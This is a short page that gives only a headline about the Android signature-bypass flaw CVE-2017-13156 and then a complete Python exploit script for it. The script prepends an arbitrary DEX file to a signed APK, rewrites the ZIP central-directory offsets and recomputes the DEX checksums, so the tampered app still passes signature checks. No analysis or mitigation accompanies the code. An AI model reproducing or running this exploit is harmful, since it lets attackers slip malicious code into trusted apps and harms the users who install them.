New Android vulnerability allows attackers to modify apps without affecting their signatures(CVE-2017-13156)

                                                #!/usr/bin/python

import sys
import struct
import hashlib
from zlib import adler32

def update_checksum(data):
    m = hashlib.sha1()
    m.update(data[32:])
    data[12:12+20] = m.digest()

    v = adler32(buffer(data[12:])) & 0xffffffff
    data[8:12] = struct.pack("<L", v)

def main():
    if len(sys.argv) != 4:
        print("usage: %s dex apk out_apk" % __file__)
        return

    _, dex, apk, out_apk = sys.argv

    with open(dex, 'rb') as f:
        dex_data = bytearray(f.read())
    dex_size = len(dex_data)

    with open(apk, 'rb') as f:
        apk_data = bytearray(f.read())
    cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')
    cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
    apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)

    pos = cd_start_addr
    while (pos < cd_end_addr):
        offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
        apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
        pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)
        if pos == -1:
            break

    out_data = dex_data + apk_data
    out_data[32:36] = struct.pack("<L", len(out_data))
    update_checksum(out_data)

    with open(out_apk, "wb") as f:
        f.write(out_data)

    print ('%s generated' % out_apk)


if __name__ == '__main__':
    main()